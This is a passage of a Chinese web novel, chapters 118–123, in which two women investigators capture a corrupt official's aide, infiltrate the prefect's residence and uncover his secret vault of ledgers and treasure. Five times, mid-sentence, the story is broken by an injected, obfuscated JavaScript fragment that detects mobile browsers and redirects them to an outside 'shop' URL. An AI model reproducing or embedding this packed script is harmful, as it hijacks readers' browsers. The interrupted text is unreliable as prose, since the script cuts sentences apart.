望去,发现是个身形高瘦的女子。她穿着和周围人差不多的昏暗衣服,头发上甚至还有来不及拂去的灰尘,但她站在那里,抬起头看自己的模样却气定神闲的很。 黄鱼掐了掐掌心,脸上是一副嗤笑的表情。 “你算个什么东西?也敢让我下去!我怎么不知道这八大矿场里有个女管事?这是谁的小情人没管好,让她上来了?要是不想活了,尽可以告诉我一声,没必要用这种曲里拐弯儿的方……” “黄大人,既然您都已经发现了,就没必要再装腔作势了吧。还是说,你想让兄弟姐妹们请你下来?” 第一百一十八章 暴露 这话问的倒是奇怪,周围那些围着马车的人里有那么几个不太明白,还疑惑的挑了挑眉,但是坐在马车里的黄鱼却如坐针毡,背后的冷汗一层层往外冒,旁边坐着的眉毛侍女似乎也发现了不对劲,小心翼翼的攀上黄鱼的胳膊。 “大人,这是怎么了?” 黄鱼厌恶的甩开她的手,心里感慨自己这回怎么就没带几个武艺高强的侍卫来,也怪他太不小心了。就这么两个手无缚鸡之力的侍女,暖床还行,真遇上事儿了,连自己都比不上。 那美貌侍女这段时间还挺受宠,猛然间被黄鱼这么对待,眼圈都红了,但她也算个有眼色的人,这会儿看着情形不太对,也不敢吭声,只是小心翼翼的蜷缩在马车的角落里。而底下站着的九阙自觉已经等了足够长的时间,见对方还是不肯动弹,干脆挥了挥手,魏渊顿时就要上前。 就在此刻,黄鱼终于不再装了,慢条斯理的从马车里钻出来,站在车辕上,只是此刻他依旧不肯下来,居高临下的看着应九阙。 “你什么时候发现的?” 他自觉做的已经足够好,从始至终都没有露出马脚,甚至态度也和往常一样不耐烦。他也很确定自己此前从来没有见过这个女人,所以这个女人应该是第一次见自己。她为什么那么肯定自己发现了异常? 九阙耸了耸肩。 她能说自己本来就没打算让到矿城查账的人离开吗?再加上对方的表现确实有些异常。 “这位黄管事,我虽然以前没有见过你,但看你的模样应该和之前的表现一般无二,但我并不觉得梁恒会派一个粗枝大叶的人来管理矿场,毕竟这可是他会下金蛋的母鸡,再怎么小心翼翼都不为过。八个矿长的管事如果没有特殊意外,就固定不变。你这么聪明的人怎么可能瞧不出来今日过来的管事和以往不同?但你却没有对此说半个字儿。想来从进入这条小路起,你就已经开始怀疑了吧。” 尤其魏渊,他的身形高大,除却和杨辉有些类似之外,比其他七个管事要优越许多。虽说黄鱼的态度相当谨慎,但是他的目光落在魏源身上停顿了几秒钟,就这么几秒,足够让一直紧盯着他的九阙发现异常。 毕竟此刻这个场景对于双方来说都是必死之局,再怎么小心翼翼都不为过。 既然已经被发现,黄鱼也不再装了,他确实是从刚见到那些来迎接的人就发现不对劲。来迎接自己的人当然也足够小心翼翼,但他们没有在见到自己时打招呼。其中有人伪装的不够好,下意识的看向人群中身形最为高大的管事,听到那人跟自己打招呼之后,才跟着打招呼。 当然,更重要的是黄鱼从小就有想特殊能力,他对于自己见过一面的人过目不忘,这把个管事他此前全都见过,可不记得他们什么时候换了张脸。 就算这些人特意把自己脸上弄得脏污,身上也弄的脏兮兮的,可人的骨骼面相不会在短时间内改变。所以他在第一时间就察觉到了异常,但是他每次来查账都隐匿了行踪,虽说也不够小心,但每次来不会带很多侍卫。毕竟他要防着金矿的位置被别人发现。 本来黄鱼是打算先离开此地,然后飞奔回去,立刻表明梁大人让他派出大队人马,将矿场里的人全部格杀。但没想到,在他察觉异常的同时,这群已经掌控矿场的人竟然也察觉到了异常。 而且还是个其貌不扬的女子。 九阙这会儿也没心思和黄鱼玩你来我往的把戏,对着魏渊点了点头,魏渊立刻上前一把拽住那人的衣服,直接将他撕下来,黄鱼本来就是个手无缚鸡之力的文人,这会儿根本没有反抗之力,应声倒地。干净整洁的衣裳沾染到地面的土地,本来还相当镇定的人顿时发出一声杀猪般的惨叫。 “我的衣服!我的衣服!你竟然敢让我站到这肮脏的灰尘!你死定了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501271|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我告诉你,你死定了!若是我没在今日黄昏时分回去,梁大人势必会派人前来查看!你们以为自己能藏得了?!” 黄鱼神经质似的不停拍打着自己身上的灰尘,但那些灰尘顺势粘到了他手上,顿时又是一连串惨叫。周围的人被他这高亢的惨叫震的耳朵疼。 他们不太理解为什么会有人因为自己身上沾上了灰尘就这般声嘶力竭的惨叫,又不是把他的胳膊腿卸了。他们这些下矿的人哪天身上不沾个几层脏兮兮的灰?要是都跟黄鱼一样,早就把嗓子喊哑了。九阙也有些受不了对方这尖叫鸡似的连绵不绝的尖叫,干脆把他一把拎起来,堵上他的嘴带走。 正如对方所说的,如果黄鱼不能在日落时分回到都城,梁恒势必起疑,他们虽说已经掌握了把个矿场,可若想在短短一天之内就把那些手无寸铁的矿工安置好,也是个不可能的事儿。 只不过这次黄鱼前来可不是自己孤身一人,带的还有两个美貌侍女,这其中就有可操作的空间了。 黄鱼如何挣扎暂且不提,日落时分黄鱼那辆熟悉的蓝布马车摇摇晃晃的驶进城门,守门的人都认识黄鱼这个梁大人的心腹,点头哈腰的目送这辆马车离开,都没想过要上去查一查。 “头儿,上头不是吩咐咱们这段时间要严查进出城的人吗?刚刚那辆马车咱就不查了?” “瞧你这没眼 力劲儿的样子。知道刚刚那辆马车是谁的吗?那可是黄大人的!黄大人那么受梁大人重视,你敢得罪他?而且,你可别跟别人说。他心眼儿小的很,你要是不小心得罪了他,天知道他有多少种方法折腾你。跟这种文人玩心眼儿,咱根本不是个儿。所以多一事儿不如少一事儿,好好守咱的城门得了,而且就他那辆小马车,就算真的窝藏罪犯,能藏几个人啊?咱们这府城驻扎的守兵你知道有多少吗?上万啊。所以别操这个心了,赶紧关城门回去吧。” 第一百一十九章 畅通无阻 “是是是,我知道了,多谢大哥提醒。小弟请你去喝酒行吗?咱们今天就去崔老大的酒馆里喝酒吃肉,您觉得如何?” “当然可以啊!看来你这臭小子私底下存的钱不少,看我今天不把你存的钱全都吃光,平日里怎么也没见你小子这么大方,原来是悄悄把钱都存起来了。看来我下回见弟妹,得跟弟妹说说。” “哎呦,大哥饶命啊,小弟我就这么点儿私房钱,可不敢让那婆娘给收走。” “哈哈哈,你这臭小子!走吧,咱现在就去,反正已经下值了。说起来你刚刚看见没?黄大人车上那两个女子长得那叫一个带劲儿,可比我家里那个黄脸婆强多了。看看这些大人们的日子过的就是舒服,看看人家,美人有了,银子有了,宅子有了,大人的器重也有了,这简直就是理想中的人生啊。什么时候我也能过上这样的日子就好了……” “您当然可以!大哥你这么厉害,以后有的是机会,小弟我就等着以后沾你的光了……” 两人边说边走,不一会儿就走远了。这是一个十分平常的傍晚,谁也不知道接下来会发生什么。跟着黄鱼坐车回到黄宅,九阙忍不住赞叹。 “没想到黄大人的宅子这么巍峨,想来你十分受梁恒重视。” 坐在车子上的黄鱼敢怒不敢言,不知道他身后这个女人到底耍了什么妖法,他从入城开始就浑身僵硬,半个字都说不出来,刚刚路过守门卫的时候,天知道他有多想开口让他们把自己的车架拦下!平日里看着他们连自己的车都不敢乱一下的模样,只觉得高兴,可此刻看来,平日里还是太过嚣张了,以至于他就这么大摇大摆的把这两个朝廷派的的人带进城了。 果然,下一刻就听到其中那个女魔头轻描淡写的话。 “黄大人,按照你的习惯,应该直接回去梁恒府上禀报此次收账的情况,并且与他小聚一番。咱们这就走吧。” 黄鱼恨的牙痒痒的,这两个女人到底是怎么对他的行踪了解的这么透彻的?他自认自己平常还算低调,这两个女人也没对他严刑逼供,怎么就知道他接下来的行程?但现在多想无益,他就像个行尸走肉般被身后的女人轻轻一推,不由自主的往前走。 底下那些愚蠢的下人们早就已经习惯黄大人出城之后稍作修整立刻赶往梁大人府上,所以并没有异议。甚至还目送他们离开,这可把黄鱼气的要死,他怎么就养了这么一群蠢笨如猪的下人?干脆杀吃了得了,连这点儿异常都看不出来,难道他们看不出自己神情很僵硬吗? 说实在话,因为黄鱼的脾气不太好,底下那些下人们根本不敢仔细盯着他的脸。大家平日里躲着他这个主人还来不及,怎么可能会往他跟前走?这也就导致了九阙挟持黄鱼的举动没有任何人发现。而且她们两个脸上都带的有面纱,下人们又不敢往主子的侍妾脸上看,这就导致她们这一路竟然顺风顺水。 九阙当然也发现黄宅的异样,似笑非笑的对着黄鱼开口。 “说起来我是不是得感谢黄大人?要不是您治家有方,我们现在也不可能这么顺利。” 黄鱼脸色铁青,对方挟持自己也就算了,竟然还嘲笑他!没有一点儿道德可言!这就是朝廷派来的人吗?不得不说黄鱼还是有几分聪明的,虽然九阙并没有暴露自己的身份,可黄鱼已经从周围那些人的表现中猜出来。其实他对这一幕并不感到意外,梁大人这几年的大肆敛财举动迟早会被朝廷发现,只是他没想到这一天来的会这么快,这么突然。 他还没享受够,这么好的日子,怎么就要没了呢? 眼见着木已成舟,他坐的那辆豪华马车已经进入梁家大门,黄鱼也不再挣扎,只是面如死灰的坐在车里,闭上眼睛,不肯与两人眼神对视。 这个明显是领头的女人虽然张口闭口‘黄大人’,可是黄鱼并没有从她的态度里没看出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501272|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一分尊重,显然对她来说只是一个小小的称呼,不值得一提。按照对方这习以为常的态度,难道是朝中为数不多的女官?可也没听说有哪个女官会深入敌营,而且力气那么大,随便就能把他的胳膊扭得快要断掉! 算了,反正现在说什么也来不及了,只能希望梁大人能警惕些,早日发现这两个人的不对劲。然而梁恒对黄鱼的重视实在人尽皆知,梁府的下人对此早已习以为常,甚至还主动邀请他们三人来到花厅小聚。 九阙坐在这小小的花厅中间,脸上的面纱还没有摘除,打量四周的眼神充满了好奇。 这一路走来他也不敢太过放肆,只敢透过车帘的缝隙看看梁府的情况,隐约感觉出来这是一所占地面积极大的建筑,亭台楼阁,华轩小谢,假山池沼,应有尽有。 看来这位梁大人在黔州担任知府的时候,确实收获颇丰啊。 就连这处小小的花厅,也挂满了名人字画。虽说九阙对这些文人雅士的东西不太了解,但也能看出来这些东西大概都是真品,毕竟自从来到这个地方以来,她见到的接触的东西全部都是正品,毕竟也没人敢糊弄皇帝。 九阙安安分分的站在黄鱼背后背后充当一个知情识趣的美人花瓶。她也不知道在这座小小的花厅周围有没有人在监视,因此谨言慎行,一点马脚都 不敢露。片刻过后,一个留着短须的中年男人大步走了进来。 只从外表看,梁恒绝对算得上清官那一挂。毕竟像这样一个身形清瘦,眼神清明的人。谁会第一眼看过去就认为他是个贪官呢? 就连九阙,第一眼看到他,印象也还算不错。 梁恒人还没走进花厅,声音已经传了进来,相当的热情真挚。 “有余,你可算是回来了,我都等了你一整天了,怎么样?这次的收账还算顺利吧?比起上个月如何?上头那些人总是催我催的紧,催的我头都大了。” 第一百二十章 你们是谁派来的? 这两人之间显然相当熟稔,黄鱼还没开口说话,对方已经噼里啪啦的说了好几句,看来确实被上头的人折磨的不轻。 这会儿目光扫过黄鱼背后站着的两个安静美人,梁恒脸上露出一抹‘你知我知’的神秘微笑。 “又换侍妾了?不是我说你,你这喜好变化的也太快了吧。之前还喜欢小巧玲珑的美人,今天怎么就喜欢高挑细瘦的了?不过你也就这么一个爱好了,要是连这个爱好都不能满足,岂不是太可怜了?为兄这边又来了一批长相不错的美人胚子,送走之前先让你挑挑。” 一批?敏锐的察觉到这个古怪的词,九阙下意识在心中联想,美人还能用一批算吗?这个词好像不是在形容搜罗来的美人,而像是在形容一批货物。 突然想起之前在无忧洞找到的那些幸存女子,她们被送来送去辗转各地,其实并不知道自己到了哪里,可也知道有些姐妹们被挑走,不知送往何处。两相比较下来那些被送走的女子竟是下落不明,之前还以为那些女子大概都已经遇害,可现在想想,难道并不是如此? 无忧洞,朱砂矿,这两个南辕北辙的案子难道还能联系到一起不成? 这到底是怎么回事? 此刻黄鱼依旧垂着头坐在椅子上,既没有起身迎接,也没有开口回应。梁恒顿了顿,十分自然的开口。 “瞧你,我不过是说了两句就不高兴了,你这脾气怎么这么大?好了,我也不是嘴上说说,现在就去把那美人带来让你看看,我可没骗你,那几个美人环肥燕瘦,各有各的美……” 说着就要转身出去叫人。 然而他发现自己只走了两步,第三步怎么也迈不出去了,同时整个身子僵硬无比,站在原地动都不能动一下,心中大骇,表情也相当勉强。 “有余,你这是怎么了?” 然而站在他身边的并不是黄鱼,而是带着面纱,若隐若现的美人之一。 崔逐风把脸上的面纱拽下来,长长的舒了口气,她还是不习惯这种东西,蒙在脸上跟蒙了块布有什么区别?呼吸都不顺畅了。而且这东西也就勉强能遮挡个几分容貌,若隐若现的,要是真盯着猛瞧,怎么看不出来?想来这就是所谓的文人乐趣了。 啧,真是令人作呕。那两个被黄鱼带去的美人今年也不过十五岁,还是两个孩子呢。这些狗官也当真下得去手。叫她说这世上还不如都是女子当官,至少没有这么多龌龊事儿! 九阙这会儿也揭开了脸上的面纱,她也不太习惯这玩意儿。坐在椅子上慢条斯理的开口。 “梁大人,久仰大名啊。” 梁恒努力挣扎了片刻,却根本没办法挣脱,就连嗓子发出来的声音也异常的小,外面那些守着的侍卫根本听不到。知晓自己是着了道,重重的叹了口气。 他就说今天早起怎么右眼皮不停的跳,原来是应在这里。梁恒也算是个人物,这会儿心中虽然急切,但并不慌乱,脸上依旧能露出个淡定的笑容。 “不知两位女侠有何要求?说现在是太平盛世,政治清明。若是有什么冤屈尽可以说出,本官一定会秉公办理。” 这是要把自己塑造成一个英勇无畏的清官形象?若是换个不知道其中底细的人,说不定还真被他这副大义凛然的样子给骗了,可偏偏今天晚上他面对的是九阙。 九阙啧啧称奇。 “梁大人,早就听说过你的名声,实在没想到你竟是这么一个大义凛然的好官。既然如此,就请你听一听我的冤屈吧。” “其实说长不长,说短也不短,我的前半生几句话就能概括。我本是黔州境内一个偏僻小山村里的村姑,虽说日子过得清贫些,可如今正值太平盛世,只要大家努力耕种,怎么也饿不死。可有一日,外面突然来了一群官兵,说是要找偷盗的贼人,可我们这个小山村一眼就能望到头,所有人都互相认识,我们根本就没见到所谓的贼人。那些官兵如狼似虎,没有找到贼人,就认定是我们窝藏犯人,把我们整个村子的人都抓走了。我虽然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501273|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字不识几个,可也知道如果把人抓走不是应该关进大牢里吗?可奇怪的是我们却被带到了一个朱砂矿里。” “进去的第一日,我就有许多认识的亲人被杀鸡儆猴当场打死。为的就是让我们能安安分分的待在矿上挖朱砂。” “刚开始的时候我还觉得奇怪,我们黔州确实盛产朱砂不错,可挖矿何必要这么遮遮掩掩?甚至还不惜编出这么个借口,把我们整个村子的人都抓过来。后来我才知道,原来我们挖的朱砂矿已经改了名字,不姓景,姓梁了!” “梁大人,你说这巧合不巧合?” 梁恒脸上已经冒出了豆大的汗珠。他想的最坏的那种猜测成真了。不过还好,如果这两人只是简单的寻仇,倒是也好糊弄。 他下意识忽略了这两人神鬼莫测的手段,想来是心中还存有一丝希望。 “你说的事情本官以前从未听过,想来姓氏相同也只是巧合。不过在本官管理的境内竟然有这样的惨案,你放心,本官一定会揪出背后真凶,还你们一个公道!” 九阙盯着他看了好一会儿,忍不住哈哈大笑。 “梁大人,你不去唱戏真是屈才了 。眨眨眼就能编出这样的借口,怪不得能做这名副其实的土皇帝呢。” “你?!” “梁大人不必惊慌,其实我想你内心早有猜测,只是不敢说出来罢了。你要的账本就在这里,要不要再看一看?” “不过我想你现在也没心思,要不大人现在带着我们去看看这些年你积累下来的财富?嗯?没有?若是不在这里,那被转移到哪里去了?究竟落到谁的手里,这一切总该有个章程吧。” “我听说像梁大人这样的人给上头做事的时候为了自保,往往会偷偷留下一本账册或者其他证据,以免事情过后被清算。不如就请梁大人把藏起来的证据给我看看?” 梁恒简直汗如雨下,他勉强维持住表情,下意识反问。 “你们是谁派来的?” 第一百二十一章 自爆 “梁大人这时候问是不是有些太晚了?不管我们是谁派来的,你觉得今天你能逃得了?” 九阙近距离欣赏了一下梁恒慌乱的表情,然后面无表情的开口。 “现在要麻烦梁大人配合我你也别指望着跑,跑之前不如看看黄大人,他这么配合,一定是因为我有你们逃脱不了的手段。” 见梁恒面如死灰,眼中甚至透出淡淡的昏暗,九阙不再打击他。 “梁大人把账本证据都藏在哪儿了?是在你的书房还是卧房?” “我不知道你在说什么。” 梁恒这会儿像是缓过神来,直接闭上了眼睛,拒绝去看九阙。他虽然不知道眼前这两个女子是谁派来的,但他却很清楚一件事。如果他不说今天还有可能活下来,如果他说了,背后之人知道他今天近乎投诚的行为,他祖宗八代都活不下来。 见他这么不配合,九阙干脆利落的看向崔逐风。 崔逐风等的都有点儿瞌睡了,这会儿见九阙示意,立马上前,手指在梁恒身上轻点。也不知道她到底点了哪个穴位,下一刻,梁恒就觉得浑身上下剧烈的痛楚席卷而来。 他自诩是个挺能忍疼的人,可此刻却抑制不住发出痛苦的闷哼。怎么会这么疼?疼的他都控制不住了。在此之前梁恒其实也预想过自己被发现后的场景,当然也可能会被严刑逼供,但是在他的想象里,所谓的严刑逼供不过也就是抽几鞭子挨几顿打而已,哪会像现在这样浑身上下根本没有个伤口,可却痛的让他几乎以头抢地? 看着对方痛苦的模样九阙没有一丝心软,只要看到梁恒,她就会忍不住想起在那八座矿场里被掩埋的无辜之人,他们有的只是想来找个活计养活家人,有的甚至只是无辜路过却被抓走去挖那该死的朱砂矿,而这一切不过是为了梁恒以及他背后之人的私欲而已。 他如今遭受的痛苦远不如那些人的十分之一,哪儿有脸在这儿喊疼? “梁大人,你觉得疼?可我在矿场里见到那些体力不支的人,你知道他们的下场是什么吗?他们不会有人看诊,他们甚至不配吃药。但凡发现体力不支,无法再继续干活,就会被做成活尸。对,就是你们用来试药的那种活尸!被灌下大量的回春丹,以至于药性毁坏全身,神志全无,不知疼痛。甚至连自己的亲人都认不出来,你觉得那样的人生可笑吗?” “可他们这样都是你造成的。我其实很奇怪,来之前我听说梁大人当初也是穷苦人家出身,一路过五关斩六将,好不容易入仕,一步一步做到知府的位置,本应该施展自己的才华,为百姓谋福祉,为何会为那种人卖命?” “当你享受这些金银珠宝奢靡生活时,可曾想过那些被抓走的人有多么无辜?你这个父母官就是这么做的?你把朝廷律法,百姓性命置于何地?” “哈!” 正在忍受疼痛的梁恒突然冷笑一声,打断了九阙的话。 “像你这样的人懂什么?你知道我当初是怎么入仕的吗?我跪在那些人脚下像条狗一样点头哈腰,勉强才得来一个推荐的资格。可那些世家大族出身之人,哪怕他就是头蠢猪!也能入朝为官。我自幼苦读,没有一日懈怠,到头来却连那些世家大族之人的脚后跟都摸不到,我怎么可能会甘心?既然读书又怎能不做官?既然做官又怎能不做那个最大的官?!你觉得我做到知府的位置就够了?我告诉你,远远不够!” “不过一个区区知府而已,而且还是黔州这样的穷苦之地,待在这样的地方,天高皇帝远,皇帝甚至根本不知道我叫什么!我背后无人,什么时候才有机会往上走?我只是给自己找个靠山而已,我有什么错?朝中那些为官之人哪个有我这样的才华?我在黔州不过干了两年,就已经让这里的税收上升了两成!若是换成朝中那些酒囊饭袋,他们能做到吗?可我这么努力得到了什么?得到的是数十年如一日的冷板凳。皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501274|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还说器重,器重我会让我在这个鸟不拉屎的地方待这么多年?本来以为当今皇帝登基会让我官途顺畅,可谁曾想到,他根本就不在意我!” “我已经做了所有能做的,甚至为了往上爬,我可以趴在那些世家大族之人脚下当狗!可我已经爬不上去了,不过一个三品小官,竟然也成了我仕途的顶点,你让我怎么甘心?若是不博个从龙之功,我怎能回到帝都?!只有那里,才是值得我发挥才华的地方!” 梁恒的情绪十分激动,这会儿气喘如牛,连之前的疼痛似乎都被遗忘了一瞬。 这会儿他似乎沉浸到自己说的话里,表情格外狰狞。想起自己前半生不被理解,不被赏识的痛苦,似乎连身上这种剧痛也可以被遗忘。 九阙静静的听了,安静反问。 “所以,你背后确实有人。而且是位皇子。” 梁恒狰狞的表情一顿,有些不可置信。 “你竟然套我的话?” “你自己也知道,我根本没说什么,都是你自己在说,这就叫不打自招。” 其实九阙心里清楚,像梁恒这样的人心里一定憋屈许多年了。被人一刺激就容易控制不住,就像现在,跟倒豆子一样,噼里啪啦倒出来这么多。 不过话说回来,九阙觉得景泰帝是 真的委屈呀。 梁恒踏入仕途的时候,景泰帝还不知道在哪个犄角旮旯里打仗呢。他登基到现在也不过十三年,朝中那些世家大族出身的官员依旧占据大半壁江山。本以为梁衡是贫寒出身,不会与那些官员同流合污,所以才放心的把他放到黔州的位置历练着,等到景泰帝抽出空来,把朝中那些人都收拾的差不多了,怎么可能不把他调入帝都? 天下三十六州,每个州郡县的情况,景泰帝都会一一查看。 “或许你不会相信,来之前陛下曾经感慨,黔州知府梁恒,是个管理民生的人才。” 第一百二十二章 巧合而已 当时景泰帝那种惋惜的表情九阙至今记忆犹深。 “能在短短五年之内就把黔州的情况扭转,确确实实是个治世之才,只是可惜,走错了路。” 梁恒微微顿了顿,随即不屑一顾。 “现在当然你说什么是什么,毕竟你抓住了我。可我当初遭受了什么你又怎会知晓?如今被抓,我没什么可说的。你若是有本事找到证据就去找,不必跟我说这许多。我这人,虽然不算个好人,但也有三两重的骨头。有人提拔我重视我,我就给他卖命!” 九阙叹了口气,其实她倒不怕梁恒当真坚贞不屈,他只是觉得可惜。这世上之人有多少在刚出发的时候踌躇满志,展望未来,可是在奔向未来的途中却不经意间走进了岔路,何其可惜。 或许今日的梁恒已经想不起当初的自己是怎样发下宏愿,踏上仕途,苦读诗书的了吧。 “我知道了,既然梁大人不肯说,那我就自己找出来。其实这从古至今的人啊,要藏东西不外乎这么几个地方。尤其像这样要命的东西,藏的远了怕被别人拿走,离得近了又忍不住日夜观摩。只是要辛苦梁大人带我们走一趟了。” 至于梁恒不肯配合这件事儿,完全不在九阙的考虑当中,因为崔逐风只是动了动手指,梁恒就不由自主的迈开步子,行走自如。 九阙和崔逐风黄鱼跟在他身后,一路上不知经过多少侍卫婢女,没有一人对此发出质疑,纷纷恭敬的低头行礼。 原本心中颇为愤怒的黄鱼看到此情此景,竟有种诡异的平衡感。原来不单他一个家里的仆人都是些蠢货,梁大人府上的下人也是如此。 几人十分顺畅的走向梁恒的书房,甚至没多说几个字,就成功到达了目的地。 这间书房与外面的景致保持了高度一致,典雅中透着些许清贵。关上房门就却颇感兴趣的四处走走看看,而梁恒和黄鱼僵硬的站在门口的位置,无论心中如何焦急,都无法控制自己的行为。 旁边这个看起来都快睡着的女人到底会什么妖法?他怎么从来没听说过? 九阙欣赏够了,随即在梁恒惊恐的目光中随意转了转,似乎是没发现什么异常,只能走向他常用的书桌。这书桌是用檀香木做的,也没什么新奇之处,就是沉的很。坐在梁恒的椅子上,九阙叹口气。 “不明白你们为什么都喜欢这么硬邦邦的桌椅?坐上去硌的骨头疼。” 低头看了看这张厚实的书桌,九阙上下翻动,伸手在桌子底部来回推拉,最后赫然在梁恒惊恐的目光中抠下来一块巴掌大小的板子,这板子背面粘着一枚小巧的钥匙。 “哟,这儿怎么还有把钥匙?我还以为你会把证据粘在桌子底下。” 把那钥匙拿下来,九阙随意甩了甩,随即在屋里寻找能用上这把钥匙的地方。上锁的地方都试遍了,并不匹配。她又转头看向了屋子里的布置,这年头,房屋大多都是木石结构,这间书房四根柱子都是红木,上面雕刻着各种花草虫鱼的纹路,奢华中透着低调。不过在这间清贵雅致的房屋里并不怎么显眼,九阙走过去,在四根柱子上上下下左左右右四处摸索了一番,最终在其中一根下半截的背面找到一处雕刻有狐狸花纹的位置。 那是只九尾狐,背后九条毛茸茸的尾巴惟妙惟肖,九阙轻轻用手抠了抠,其中一条尾巴竟然可以转动,抠下来一小块儿木头,露出一个锁芯的模样,用之前找来的那把钥匙插入其中,左右一拧。 “咔嚓”一声,侧对着门口的那面墙缓缓向外挪动,露出了里面一人半宽的密室。 崔逐风已然被这一连串的异变惊得目瞪口呆。这要是换着她来找,估计找到天荒地老都找不到机关何在。九阙不是从没来过泉州嘛,更没来过梁衡府上吧,怎么可能?一下子就找到梁恒的密室在哪里,而且还是这么复杂的工序。他刚刚仔细打量了一下,这间密室完全是由石头建成,而且内外建筑浑然一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501275|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体,根本察觉不出来异常。梁恒甚至为了不让别人发现异常所在,把书房的四面墙都建的一般厚。就算这里发生了火灾,这间密室也会完好无损的保存下来。 这要是换了别人还不得阴谋论?但崔逐风却接受良好。 九阙就是厉害,这聪明人的脑子就是跟她长得不一样。 梁恒却大惊失色,像他这样的人本来就容易想多,这会儿不自觉联想到其他方面。 “原来陛下早已经盯上我,连密室所在都查的清清楚楚,我还以为自己做的天衣无缝……真是可笑。” 九阙惊讶的看着他。 “你怎么会这么想?只是巧合而已。你没看见我刚刚找了好一阵儿才发现?话说回来,你这密室藏的够隐蔽啊。而且你这证据……还真是够多。” 可不是够多吗?这里面堆的满满当当的,估计有几十本账册。当然了,除此之外里面还有其他东西,都是些金银珠宝,甚至还有一沓又一沓的大额银票。 九阙随意翻了翻,忍不住赞叹,只是那笑容里怎么看怎么带了点讽刺? “梁大人不愧是两袖清风的好官,看看这些年的积累,就算是世家大族的旁支,全部身家加起来都不会有这么多。这珊瑚的品相,竟比今年上供的还要好 。还有这东珠金锭……看来这些年梁大人实在是没委屈自己。” 最后的底牌已经被掀开,梁恒此刻简直心如死灰,眼神都呆滞了。哪里还在意九阙的些许讽刺? 没了,全没了,全完了!他本来留下与那位皇子交往的证据是为了避免被狡兔死,走狗烹。可现在他连这个资格都没了。而且这些证据暴露出来,那位皇子怎么可能不恼怒不报复? 就算这件事情被暴露出来,皇子又不会受到处罚,毕竟那可是陛下的儿子。他不就是个现成的替罪羊吗?如今唯一奢望的,不过是那位皇子看他这些年兢兢业业的份上放过他的家人子女…… 第一百二十三章 咬舌自尽? 看着那些成堆的证据,九阙稍稍松了口气。这次的黔州之旅虽说过程复杂了些,但好在结果是好的。如今就只有逼问出与梁恒相勾结的到底是哪个皇子…… 眼看着梁恒面如死灰,九阙对他露出个灿烂的笑容。 “梁大人来之前有位朋友托我给你带句话。” 此刻梁恒已经不在意对方说什么,但碍于自己的性命此刻还在对方的掌控之下,还是不得不抬起脸。 “什么话?” “‘等梁大人脑袋落地那日,我一定会去观刑,因为我真的很想看看像梁大人这样的大官流出来的血是不是热的,是不是红的?我养了一条狗,十分通人性,指哪儿咬哪儿。届时,我会善待梁大人的头颅,保证梁大人尸首两全。’” “你!” 梁恒瞳孔骤然紧缩,他如何听不出来这是句威胁?这世上竟然有人这么恨他…… 看着对方不可置信的模样,九阙有些费解。 “梁恒你莫不是认为这世上没人会恨你吧?瞧瞧你都做了些什么?我想这世上多的是人对你恨的咬牙切齿。与其有那个功夫跟我生气,还不如想想怎么安置自己的尸体。这次,就算神仙下凡也保不了你。” “……” 